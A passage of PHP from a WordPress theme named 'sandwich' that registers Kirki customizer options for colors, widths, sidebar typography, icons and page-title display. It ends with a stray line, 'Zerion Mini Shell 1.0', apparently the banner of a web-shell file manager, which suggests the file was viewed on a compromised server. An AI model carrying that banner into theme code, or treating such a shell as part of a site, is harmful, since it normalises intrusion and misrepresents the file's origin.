            'element' => 'section#before_footer_sidebar div',
        ),
        array(
            'element' => 'section#before_footer_sidebar a',
        ),
        array(
            'element' => 'section#before_footer_sidebar li',
        ),
        array(
            'element' => 'section#before_footer_sidebar caption',
        ),
    ),
));
/*
 * Body Background Color
 * */
// Body Background Color
Kirki::add_section('sandwich_body_background_color', array(
    'title'    => esc_attr__('Background Color', 'sandwich'),
    'priority' => 23,
));
// Color
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'color',
    'settings' => 'sandwich_body_bg_color',
    'label'    => esc_html__('Body Background Color', 'sandwich'),
    'section'  => 'sandwich_body_background_color',
    'default'  => '#ffffff',
    'choices'  => array(
        'alpha' => true,
    ),
));

/*
 * Site Width Control
 * */
Kirki::add_section('sandwich_site_width_section', array(
    'title'    => esc_attr__('Site Width Control', 'sandwich'),
    'priority' => 24,
));
// Header Top Width
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'Select',
    'settings' => 'sandwich_site_header_top_width_control',
    'label'    => esc_html__('Header Top Width', 'sandwich'),
    'section'  => 'sandwich_site_width_section',
    'default'  => 'box_width',
    'choices'  => array(
        'full_width' => esc_html__('Full Width', 'sandwich'),
        'box_width'  => esc_html__('Box Width', 'sandwich'),
    ),
));

// Main Header Width
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'Select',
    'settings' => 'sandwich_site_main_header_width_control',
    'label'    => esc_html__('Main Header Width', 'sandwich'),
    'section'  => 'sandwich_site_width_section',
    'default'  => 'box_width',
    'choices'  => array(
        'full_width' => esc_html__('Full Width', 'sandwich'),
        'box_width'  => esc_html__('Box Width', 'sandwich'),
    ),
));

// Content Width
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'Select',
    'settings' => 'sandwich_site_width_control',
    'label'    => esc_html__('Content Width', 'sandwich'),
    'section'  => 'sandwich_site_width_section',
    'default'  => 'full_width',
    'choices'  => array(
        'full_width' => esc_html__('Full Width', 'sandwich'),
        'box_width'  => esc_html__('Box Width', 'sandwich'),
    ),
));


// Before Footer Width
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'Select',
    'settings' => 'sandwich_site_before_footer_width_control',
    'label'    => esc_html__('Before Footer Width', 'sandwich'),
    'section'  => 'sandwich_site_width_section',
    'default'  => 'box_width',
    'choices'  => array(
        'full_width' => esc_html__('Full Width', 'sandwich'),
        'box_width'  => esc_html__('Box Width', 'sandwich'),
    ),
));

// Footer Width
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'Select',
    'settings' => 'sandwich_site_footer_width_control',
    'label'    => esc_html__('Footer Width', 'sandwich'),
    'section'  => 'sandwich_site_width_section',
    'default'  => 'box_width',
    'choices'  => array(
        'full_width' => esc_html__('Full Width', 'sandwich'),
        'box_width'  => esc_html__('Box Width', 'sandwich'),
    ),
));
/*
 * Primary Sidebar Typography
 * */
Kirki::add_panel('sandwich_primary_sidebar_panel', array(
    'priority' => 105,
    'title'    => esc_attr__('Primary Sidebar Typography', 'sandwich'),
));

// Common Settings
Kirki::add_section('sandwich_primary_sidebar_common_settings', array(
    'title' => esc_attr__('Common Settings', 'sandwich'),
    'panel' => 'sandwich_primary_sidebar_panel',
));
// Background
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'color',
    'settings' => 'sandwich_primary_sidebar_common_background',
    'label'    => esc_html__('Background Color', 'sandwich'),
    'section'  => 'sandwich_primary_sidebar_common_settings',
    'default'  => 'rgba(255,255,255,0)',
    'choices'  => array(
        'alpha' => true,
    ),
	'tooltip'  => 'In order to use these features, you must select the SIDEBAR template, under POST ATTRIBUTES when you are editing a specific page.  Then these settings here will change the sidebar background and border colors',
));

// border color
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'color',
    'settings' => 'sandwich_primary_sidebar_common_border',
    'label'    => esc_html__('Border Color', 'sandwich'),
    'section'  => 'sandwich_primary_sidebar_common_settings',
    'default'  => 'rgba(255,255,255,0)',
    'choices'  => array(
        'alpha' => true,
    ),
));

// Heading
Kirki::add_section('sandwich_primary_sidebar_heading', array(
    'title' => esc_attr__('Heading', 'sandwich'),
    'panel' => 'sandwich_primary_sidebar_panel',
));
// Heading Typography
// Background
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'color',
    'settings' => 'sandwich_primary_siebar_heading_background',
    'label'    => esc_html__('Background Color', 'sandwich'),
    'section'  => 'sandwich_primary_sidebar_heading',
    'default'  => '#3a5a98',
    'choices'  => array(
        'alpha' => true,
    ),
	'tooltip'  => 'In order to use these features, you must select the SIDEBAR template, under POST ATTRIBUTES when you are editing a specific page.  Then these settings will change the header features for sidebar widgets.',
));
// typography
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'typography',
    'settings' => 'sandwich_primary_sidebar_heading_typography',
    'label'    => esc_html__('Typography', 'sandwich'),
    'section'  => 'sandwich_primary_sidebar_heading',
    'default'  => array(
        'font-family'    => 'Roboto',
        'variant'        => 'regular',
        'font-size'      => '16px',
        'color'          => '#ffffff',
        'text-align'     => 'inherit',
        'text-transform' => 'none'
    ),
    'choices'  => array(
        'fonts' => array(
            'google'   => array('popularity', 100),
            'standard' => array(
                'Georgia,Times,"Times New Roman",serif',
                'Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif',
            ),
        ),
    ),
    'output'   => array(
        array(
            'element' => 'h2#primary_sidebar_heading',
        ),
    ),
));
// Inner Content Typography
// Content
Kirki::add_section('sandwich_primary_sidebar_content', array(
    'title' => esc_attr__('Contents', 'sandwich'),
    'panel' => 'sandwich_primary_sidebar_panel',
));
// typography
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'typography',
    'settings' => 'sandwich_primary_sidebar_content_typography',
    'label'    => esc_html__('Typography', 'sandwich'),
    'section'  => 'sandwich_primary_sidebar_content',
    'default'  => array(
        'font-family'    => 'Roboto',
        'variant'        => 'regular',
        'font-size'      => '15px',
        'color'          => '#3a5a98',
        'text-transform' => 'none',
        'text-align' => 'left',
    ),
    'choices'  => array(
        'fonts' => array(
            'google'   => array('popularity', 100),
            'standard' => array(
                'Georgia,Times,"Times New Roman",serif',
                'Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif',
            ),
        ),
    ),
    'output'   => array(
        array(
            'element' => 'section#primary_sidebar ul li a',
        ),
        array(
            'element' => 'section#primary_sidebar ul li',
        ),
        array(
            'element' => 'section#primary_sidebar div',
        ),
        array(
            'element' => 'section#primary_sidebar p',
        ),
    ),
));

// Icon
Kirki::add_section('sandwich_primary_sidebar_icon', array(
    'title' => esc_attr__('Icon', 'sandwich'),
    'panel' => 'sandwich_primary_sidebar_panel',
));

// Display icon
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'checkbox',
    'settings' => 'sandwich_primary_siebar_icon_display',
    'label'    => esc_html__('Display Icon', 'sandwich'),
    'section'  => 'sandwich_primary_sidebar_icon',
    'default'  => true,
));

// Display icon
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'checkbox',
    'settings' => 'sandwich_primary_siebar_bullet_icon_display',
    'label'    => esc_html__('Hide Bullet Icon', 'sandwich'),
    'section'  => 'sandwich_primary_sidebar_icon',
    'default'  => true,
));
/*
 * Page Title Control
 * */
Kirki::add_section('sandwich_page_title_display', array(
    'title'    => esc_attr__('Page Title', 'sandwich'),
    'priority' => 25,
));

Kirki::add_field('sandwich_customizer', array(
    'type'     => 'switch',
    'settings' => 'sandwich_page_title',
    'label'    => esc_html__('Display Page Title', 'sandwich'),
    'section'  => 'sandwich_page_title_display',
    'default'  => false,
	'tooltip'  => 'This will add or remove the page titles for page post types on the site.  Not to be confused with the site title or logo',
));













Zerion Mini Shell 1.0